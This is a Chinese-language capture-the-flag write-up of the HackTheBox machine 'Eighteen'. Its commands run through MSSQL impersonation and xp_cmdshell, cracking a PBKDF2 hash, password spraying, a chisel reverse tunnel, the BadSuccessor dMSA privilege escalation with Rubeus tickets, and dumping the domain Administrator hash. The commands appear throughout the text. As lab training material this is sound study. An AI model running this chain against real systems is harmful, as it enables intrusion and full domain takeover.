HTB-Eighteen 靶机笔记
立足点:
1. 先快速粗略扫描
mkdir nmap_output
sudo nmap -n -Pn -sS --top-ports 10000 --reason --max-retries 2 --scan-delay 1ms IP -oA nmap_output/ports
// -n 不做DNS解析
// -Pn 不做主机存活探测
// -sS 半开放扫描(默认)
// --top-ports 常用用端口
// --reason 显示端口推断原因
// --max-retries 最大重试次数
// --scan-delay 扫描间隔
// -oA 全格式输出
2. 精细扫描
结合着公开信息收集和你对接触目标谨慎程度的要求,你觉得可以了就可以随时停止,如果觉得这些可以做实际的攻击尝试或者可以接触一下了,那就不再扫,这都是需要你根据与目标接触的慎程度做选择的,那我们现在想稳扎稳打,不怕因为扫描带来的冒犯继续服务探测
sudo nmap -n -Pn -sS -p 80,1433,5985,445 -sV -sC -O --version-light --reason --max-retries 2 --scan-delay 1ms IP -oA nmap_output/services
// -sV 服务版本
// -sC 默认脚本
// -O 探测操作系统,需要一开一关的端口
// --version-light 轻量级版本探测
// 1443 ms-sql默认端口,5985 winrm默认端口,走http,5986走https
"ssl-date:2026-0x-0xT19:00:15+00:00; +7h00m01s from time.scanner" 时钟偏移,一旦处理票据的时候,要做时间同步,因为有时钟偏差
追加hosts
echo 'IP eighteen.htb dc01.eighteen.htb' | sudo tee -a /etc/hosts
// 这里不做区分但要关注到大小写,因为一旦涉及到DNS代理的时候,很可能比较的是packet值,这样大小写就不一样了
快速侦察
curl -s http://eighteen.htb | html2text
// -s 静默模式
// html2text 剔除HTML格式转为纯文本
浏览器访问URL,测试功能点,有表单有提交的内容也是一个庞大的测试场景
连接内网靶场
sudo openvpn --config htb-us-udp.ovpn --dev-type tun --dev htb
// --config 指定配置文件
// --dev-type 指定虚拟网络设备类型 tun,三层隧道
// --dev 指定创建的虚拟网络接口名称
认证测试
nxc winrm eighteen.htb -u kevin -p 'iNaZwe6haRj2gaw' --local-auth
nxc mssql eighteen.htb -u kevin -p 'iNaZwe6haRj2gaw' --local-auth
// --local-auth 指定对目标机器进行本地账户认证,如果不加这个参数,默认会尝试使用域认证。
ncx可以做“凭据测试”、“权限获取”、“横向移动”,无需频繁切换工具。它支持SMB、LDAP、WinRM、SSH、RDP等多种协议,并提供丰富的模块扩展功能
nxc <协议> <目标地址> [选项]
连接mssql
impacket-mssqlclient eighteen.htb/kevin:'iNa2we6haRj2gaw!'@eighteen.htb
靶场给的凭据映射到sql的系统中,它是guest,这样就不乐观了,意味着权限可能很小,这种客户端工具,你要有一个框架性的思维去熟悉它,它无非就是一个客户端,然后应用类型是数据库,那数据库关系型的,你不要因为这些工具自己不熟悉,然后有畏惧感,就是说你需要具备一个思维框架,能够通用性的理解这类工具,它就是一个连接器,一个客户端,一个应用层的shell,也就这样的东西
enable_xp_cmdshell //you know what it means
xp_cmdshell whoami //执行系统命令
enum_db //枚举数据库
enum_logins //枚举登录用户
enum_impersonate //枚举可以冒充的登录用户
exec_as_login appdev //指定登录用户appdev的身份执行命令
查询数据
use financial_planner
select name from sysobjects
select * from users
暴露admin密码哈希
vim admin_pwd
pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
echo -n 'AMtzteQIG7yAbZIa' | base64
echo -n '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64
// -n 不追加末尾换行符,换行会干扰编码结果
// -r 反向操作,把十六进制字符串还原成原始二进制字节
// -p 纯十六进制模式
原始哈希分析
-
1. pbkdf2:sha256:600000 加密方案,PBKDF2算法、哈希为SHA256、迭代次数60万次;
-
2. $AMtzteQIG7yAbZIa 盐值(salt);
-
3. $0673ad90a......7be28ce4d66c887133 最终哈希密文,这是Python Flask项目最常用的密码存储格式(Werkzeug默认加密)
编码后拼接
vim admin_pwd_pbkdf2
pbkdf2:sha256:600000$0U10enR1UU1HN31BY1pJY0==$BnOtkKCor7GdZiM28Pzjqe30t7GRk3F740zk1myIcTM=
确定hashcat破解模式
根据加密算法关键字寻找
hashcat -hh | grep -i pbkdf2 | grep -i sha256
hashcat --example-hashes -m 10900 | grep -i 'Example.Hash'
hashcat --example-hashes -m 10000 | grep -i 'Example.Hash'
hashcat --example-hashes -m 20300 | grep -i 'Example.Hash'
// -hh 显示所有模式编号、名称详细信息
// --example-hashes 输出当前模式的哈希例子

第一个10900的更符合,但是前边不需要写pbkdf2,第二个不行,是因为它的这段这两个信息“pbkdf2_sha256”写到一起的,单纯从外形上就是这么比较的,如果你非要找到更精确更理性的-m值匹配,那你就需要去看密码学和那个应用开发文档里具体怎么设定的
根据样例标准修改hash
vim admin_pwd_pbkdf2
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
:wq
按照HTB靶机的常见设计习惯,设计者通常会将密码设置为rockyou.txt中可命中的词条,所以我们打靶的时候经常使用rockyou,但实战的时候应该这条规则会弱化很多,应该使用更聚焦更自定义化的字典
破解密钥哈希
hashcat -m 10900 admin_pwd_pbkf2 /usr/share/wordlists/rockyou.txt --potfile-disable
// --potfile-disable 不把本次破解结果存入本地缓存文件

获取密钥 "iloveyou1"
但只是一个密码,还不知道是哪个密码使用者,但mssql数据库管理系统中,它的admin 目标系统里就是我们这个靶机里,它有admin这个用户吗?其实我们需要看一下,如果有,那很可能就是那个用户,但是admin这种用户太通用化了,所以很可能还有撞碰、喷洒的地方,把这个凭据存下来,然后用我们手里的kevin,毕竟是系统用户嘛,虽然不能winrm登录,但是枚举系统里有哪些用户应该是可以的
枚举用户
nxc mssql eighteen.htb -u kevin -p 'iNaZwe6haRj2gaw!' --local-auth --rid-brute 3000 | tee rid-brute.txt
// --rid-brute [max_rid] 枚举max_rid下的所有windows本地用户
Windows本地账户默认RID规则:
-
管理员Administrator:RID=500,普通用户从1000开始递增;
提取用户
grep 'EIGHTEEN' rid-brute.txt | awk -F'\' '{print $2}'
awk简单用法
awk -F'分隔符' '{print $列号}' 文件名
// -F :指定分割符号
// $1 :分割后第1段内容, $2第2段,以此类推
// $0 :整行原始内容
粗略观察,有空格的是组

再次提取
grep 'EIGHTEEN' rid-brute.txt | awk -F'\' '{print $2}' | grep -v ' ' | tee users
// grep -v 反向匹配,排除符合规则的内容

密码喷洒
nxc winrm eighteen.htb -u users -p 'iloveyoul' --continue-on-success
// --continue-on-success 就算遇到一组账号密码正确也不停止程序,继续测试剩下所有账户。

喷洒成功,使用evil-winrm.py
ewp -i eighteen.htb -u adam.scott -p iloveyoul
//专门连接Windows WinRM的工具,用来获取目标机器交互式PowerShell命令行
// -i eighteen.htb 目标主机地址;
// -u adam.scott 登录用户名;
// -p iloveyou1 账户密码

成功获取立足点,Getshell
whoami
hostname
ipconfig
读取flag
gci ../desktop
gc ../desktop/user.txt
// gci = PowerShell里Get-ChildItem,等同于Windows的dir、Linux的ls;
// gc = Get-Content,读取文件内容;
提权
收集系统信息
whoami /all
systeminfo //可能因为权限而拒绝
Get-computerinfo //要想到用它
不是因为get-computerinfo有多大的权限,就是相比于systeminfo没有多更多的权限,它俩的上下文是一样的,但是两个的机制是不一样的,systeminfo是一次性批量查询全部系统字段,我相信你熟悉它列出的那些东西,按项目说没有get-computerinfo列的多,但是查询只要有个别的项目字段查询不到,它就整体报错,抛出异常,容错率低,而get-computerinfo是能查出多少就给你吐出来多少,所以机制是不一样的,权限上下文是相同的,但是就是因为这种不同,你要记得信息少,它也是有价值的,所以尝试使用get-computerinfo,后边提权后我们可以验证一下
查询域控制器详细信息
nltest /dsgetdc:eighteen.htb

解析
-
1. DC:\DC01.eighteen.htb 这个域唯一域控主机:DC01
-
2. Address:\dead:beef::cefc:785:cc40:7ae 域控的IPv6地址
-
3. Dom Name: eighteen.htb 域名
-
4. Forest Name: eighteen.htb 林名称(单域单林架构)
-
5. Flags: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS_DC...
Flags标识含义:
-
PDC:域内主域控制器,处理密码更改、账户锁定、时间同步、NTLM认证,红队横向、哈希抓取重点目标
-
KDC:运行Kerberos密钥分发中心,负责票据TGT/TGS签发,Kerberoasting、AS-REP Roasting攻击必须依托KDC
-
GC(Global Catalog):全局编录服务器,存储整个林所有域的对象精简索引,可跨域查询账号、组信息,渗透中用来枚举全林用户
-
DS:标准AD目录服务,确认这是一台合法域控制器
-
LDAP:开启LDAP服务,可执行LDAP查询、账户枚举、凭据绑定
-
TIMESERV:本机提供Windows时间服务,域内设备时钟同步基准
-
GTIMESERV:可靠的域层级时间服务器,域环境时间校验核心
-
WRITABLE:可写域控(非只读RODC),支持写入账户、组、GPO,是权限提升、植入后门的首选节点
-
WS:部署AD Web服务(Active Directory Web Services),支持PowerShell远程AD操作、WinRM联动查询AD信息
-
FULL_SECRET:存储完整域账户密钥、凭据,无RODC凭据过滤限制,可导出全部域哈希
-
DNS_DC:域控集成DNS服务,解析域内主机、SRV记录
-
DNS_DOMAIN:托管当前域的DNS区域
-
DNS_FOREST:托管整个AD林根域DNS数据
-
CLOSE_SITE:该域控属于客户端本地最近站点,系统优先选择此DC做认证、查询
Google搜索漏洞
windows server 2025 domain exploitation vulnerability
发现dMSA可以利用,你的域根本不需要使用dMSA,只要该功能存在即可,而任何拥有至少一个Windows Server2025域控制器域都具备该功能。
在Windows Server2025 中,微软引入了委托管理的服务账户(dMSA) dMSA是Active Directory中一种新型的服务账户,它进一步扩展了组级管理服务账户(GMSA)的功能。dMSA的一个关键特性就是能够轻松地将现有的非托管服务账户转换为dMSA账户。
作为域控必须开的端口在内部才可以访问
netstat -ano

域控专属标志性端口
-
1. UDP 53:DNS,域控必开,解析域名、域主机;
-
2. UDP 88:Kerberos,域认证核心端口(票据发放,黄金票据、AS-REP);
-
3. UDP 464:Kerberos密码更新端口,DC标配。
做端口转发
curl -fsSO https://github.com/jpillora/chisel/releases/download/v1.11.8/chisel_1.11.8_windows_amd64.zip | unzip -q chisel_1.11.8_windows_amd64.zip | rm -f chisel_1.11.8_windows_amd64.zip
ls -liah chisel.exe //查看文件大小
启动端口转发服务
chisel server -p 9595 --reverse //监听本地9595端口
// --reverse 开启反向模式
在ewp页面
sl (ni -tyep d $env:programdata\tooling)
menu //ewp菜单
upload chisel.exe . //上传chisel.exe
// 客户端连接
.\chisel.exe client 服务端IP:9595 R:1080:socks
// R: 反向映射
配置proxychain配置文件
strict_chain
# proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1:1080
整体链路逻辑
1. proxychains:接管本机命令行程序流量,强制转发至本地127.0.0.1:1080 SOCKS代理;
2. Chisel服务端:接收1080端口的SOCKS流量,封装为私有加密协议;
3. 加密数据包通过9595隧道端口,传输到内网主机的Chisel客户端;
4. 内网客户端解密流量,在内网环境发起访问,结果原路回传。
尝试访问验证
proxychains -f chain1080.conf -q nxc ldap 10.129.24.180 -u adam.scott -p 'iloveyou1'

Windows域内所有服务(WinRM、LDAP、SMB、RDP、Kerberos)共用同一套域账号体系:
adam.scott + iloveyou1 是域账户凭证,不是WinRM专属密码。WinRM(5985):远程登录用这套账号;LDAP(389):轻量级目录访问协议,域目录查询、枚举用户组、机器信息,同样校验这组账号密码;
nxc检测是否有badsuccessor漏洞,走的是ldap协议,因此需要包装前缀
proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -L
// -L 列出可用的功能模块

选择badsuccessor模块
proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -M badsuccessor
// -M 选择模块
// --options 显示帮助有哪些选项
// proxychains的配置文件中代理了DNS会返回站位,因为目标服务器的IP地址已经能够确定了,我们可以取消掉DNS的代理,这样让这些数据更可读,前面已经注释了,当然需要hosts文件中映射域名IP关系

最后一行的意思并不是说it这个ou已经是管理员,而是说nxc在这个ou上发现了可疑的ACE受托主体是IT,这是SID,作为badsuccessor的验证模块,这个结果就是说IT这个主体在staff这个容器上具备创建或控制dMSA相关的权限,这个是积极乐观的结果,还可以进一步看IT这个主体的信息
进一步查看IT组的信息
proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' --groups 'IT'
可见他包括了adam.scott用户

这句命令不是限定只查OU=Staff里的IT组,而是连接域控LDAP根目录DC=eighteen,DC=htb,在整个域内全局搜索名称为IT的安全组,列出这个组内所有成员,最终结果刚好两个用户都在OU=Staff这个员工文件夹下
也可以从用户的层面验证
proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' --query "(sAMAccountName=adam.scott)" "*"
// 查询要写两部分,这里 * 全部显示
// sAMAccountName:AD域的用户的登录名

-
DistinguishedName(DN):用户完整LDAP绝对路径:CN=adam.scott,OU=Staff,DC=eighteen,DC=htb,定位账号在目录树的位置。
-
memberOf = 该用户所属的所有域安全组DN路径,直白说:这个人加入了哪些权限组。
理清层级:完整LDAP目录树结构(eighteen.htb域)
# 根域(最顶层)
DC=eighteen,DC=htb
└── OU=Staff (员工组织单元,存放所有企业员工账号)
└── 安全组:CN=IT
├── CN=adam.scott
└── CN=bob.brown
1. DC(Domain Component):域组件,对应域名eighteen.htb,是整个AD域的根;
2. OU(Organizational Unit,组织单元):相当于文件夹,用来分类管理账号、计算机,这里OU=Staff代表全体员工目录;
3. CN(Common Name):通用名称,用户、组、电脑的名字;
4. IT:域内安全组(Group),放在OU=Staff下面,属于权限集合,把多个用户打包统一授权
知道组成员关系了,那权限呢?adam.scott这个用户能在这个ou上创建子成员吗?也可以具体枚举出来,依然可以用nxc
proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -M daclread --options
// daclread 用于读取和导出AD对象DACL(自由访问控制列表)的LDAP协议模块。
// --options 查看需要哪些选项

proxychains -f chain1080.conf -q nxc ldap eighteen.htb -u adam.scott -p 'iloveyou1' -M daclread -o TARGET_DN='0U=Staff,DC=eighteen,DC=htb' ACTION=read PRINCIPAL='IT'
// TARGET_DN:指定要查询权限的目标对象
// ACTION:指定操作,常用read读取并显示DACL,或backup备份DACL
// PRINCIPAL:过滤查询,指定后,只显示该特定主体(用户/组)对目标拥有的权限。
// -o 指定选项

明确列出CreateChild,能够创建子对象
开始尝试利用badsuccessor
proxychains -f chain1080.conf -q impacket-badsuccessor eighteen.htb/adam.scott:'iloveyou1' -dc-host dc01.eighteen.htb -dc-ip 10.129.24.180 -method LDAP -action add -target-ou 'OU=Staff,DC=eighteen,DC=htb' -dmsa-name redpen -principals-allowed adam.scott -target-account administrator -dns-hostname redpen.eighteen.htb
target-account 我们希望是谁?他应该是在adam.scott这个权限下建立的这个dmsa账号,它替代的那个旧的服务账号,它会继承这个旧的服务账号的权限,那我们要利用肯定希望它的权限足够高,索性administrator
报错了

走DLAPS也不行
是否需要Kerberos认证?尝试一下
proxychains chain1080.conf -q nxc smb eighteen.htb -u adam.scott -p 'iloveyou1' --help | grep -i generate
// 先查看参数具体写法

生成kbr5配置文件
proxychains chain1080.conf -q nxc smb eighteen.htb -u adam.scott -p 'iloveyou1' --generate-krb5-file krb5.conf
export KRB5_CONFIG=krb5.conf

同步目标机与kali的时间差
sudo proxychains -f chainl080.conf -q net time set -S dco1.eighteen.htb -U 'EIGHTEEN\adam.scott%iloveyou1'
虽然是socks5代理,但这里是TCP协议下做的时间同步,是可以的,正常NTP和WINDOWS的w32 time做常规的时间同步的时候走的是UDP 123端口,但是这里跑的是桑巴的net time,它的动作是先通过smb连接DC,端口是TCP的445,所以在socks下是生效的
同步之后就可以申请票据
proxychains chain1080.conf -q nxc smb eighteen.htb -u adam.scott -p 'iloveyou1' --generate-tgt adam
export KRB5CCNAME=adam.ccache

然后就尝试刚刚badsuccessor的利用
proxychains -f chain1080.conf -q impacket-badsuccessor eighteen.htb/adam.scott -k -no-pass -dc-host dc01.eighteen.htb -dc-ip 10.129.24.180 -method LDAP -action add -target-ou 'OU=Staff,DC=eighteen,DC=htb' -dmsa-name redpen -principals-allowed adam.scott -target-account administrator -dns-hostname redpen.eighteen.htb
还报错

这是代码层面的问题了,修改badsuccessor.py代码
RedTeamNotes改完后发布GitHub:dMSA Forge
安装dMSA Forge
git clone https://github.com/RedteamNotes/dmsa-forge.git
python -m venv dmsa-forge/.venv
source dmsa-forge/.venv/bin/activate
python -m pip install ./dmsa-forge
先评估
proxychains -f chain1080.conf -q dmsaforge assess eighteen.htb/adam.scott:'iloveyoul' --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180

assess过程评估了badsuccessor漏洞利用的可能性,厉害的是下边给了下一步利用的命令
再预演
proxychains -f chain1080.conf -q dmsaforge plan add eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --principals-allowed S-1-5-21-1152179935-589108180-1989892463-1604 --target-account Administrator
// plan 是预演,执行看看它要改什么


msDS-DelegatedMSAState:迁移状态
msDS-ManagedAccountPrecededByLink:旧的账号指向
再添加dMSA,就是去掉plan
proxychains -f chain1080.conf -q dmsaforge add eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --principals-allowed S-1-5-21-1152179935-589108180-1989892463-1604 --target-account Administrator

确认添加成功
proxychains -f chain1080.conf -q dmsaforge verify eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --principals-allowed ' '
当然,你利用完了也可以删除
proxychains -f chain1080.conf -q dmsaforge delete eighteen.htb/adam.scott:iloveyou1 --dc-host dc01.eighteen.htb --dc-ip 10.129.24.180
--ou OU=Staff,DC=eighteen,DC=htb --dmsa-name redpen --yes
下载rubeus编译 在当前目录下
然后拿到指定的Administrator的上下文
ewp -i eighteen.htb -u adam.scott -p iloveyoul //登录adam上下文
menu //查看菜单
runexe rubeus.exe hash /user:adam.scott /password:iloveyoul /domain:eighteen.htb
拿到ac4和aes256的哈希

请求TGT
runexe rubeus.exe asktgt /user:adam.scott /aes256:02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5 /domain:eighteen.htb /dc:10.129.24.180 /nowrap
// /outfile:adam.scott.kirbi 可选,输出到指定文件
// 这里输出到屏幕
// /nowrap 不回行,后续转格式会好点
这里用的是aes256,反正rc4不行,那你就试着用aes256的,这个取决于操作系统的要求
拿到了TGT票据

复制TGT票据
请求TGS
// 粘贴到/ticket:后面,我省略了很多,太长了
runexe rubeus.exe asktgs /dmsa /opsec /service:krbtgt/EIGHTEEN.HTB /targetuser:redpen$ /ticket:doIFpjCCBaKgAwIBBaEDAgEWooIEqTCCBKVhggShPIJFGIHGWPIGIHMIIEnaADAgEFoQ4bDEVJROhURUVOLkhUQqIhMByg== /dc:10.129.24.180 /ptt /nowrap
// /ticket:adam.scott.kirbi 可以指定刚刚获得的TGT票据文件
在这个/ticket票据中,这里如果持久化到磁盘的话,它存的格式是kirbi,这个是WINDOWS下票据的格式,在linux下,你见到的是ccache,只是不同的操作系统下,它的格式不同,的确是需要某些转换的,一会儿可能会看看到
不要在python命令中添加引号,其实这个小点需要你很多经验才能快速的想到,因为evil-winrm是python实现的,有很多小细节在python的这个实现中会有不同
拿到redpen的TGS

复制tgs,回到kali中
要把它还原回来,它是base64格式的,这个dmsa账号的票据格式是kirbi,是WINDOWS中的票据格式,我们还需要转换成Linux格式,impact的框架下就有这个转换工具
echo "doIFqDCCBaSgAwIBBaEDAgEWooIErjCCBKphggSmMIIEogADAgEFoQ4bDEVJROhURU" | base64 -d > redpen.kirbi
impacket-ticketConverter redpen.kirbi redpen.ccache
export KRB5CCNAME=redpen.ccache
这回可以直接拿来使用了,因为redpen作为dmsa,它继承了它的前任旧的服务账号的权限体系,而这个权限体系我们在利用过程中指定的是Administrator,那它就是管理员权限,我们试着转储
proxychains -f chain1080.conf -q impacket-secretsdump -k -no-pass -dc-ip 10.129.24.180 'eighteen.htb/redpen$@dc01.eighteen.htb' -just-dc-user administrator

成功拿到administrator的hash,使用ewp连接
ewp -i eighteen.htb -u administrator -H 0b133be956bfaddf9cea56701affddec

拿到flag


浙公网安备 33010602011771号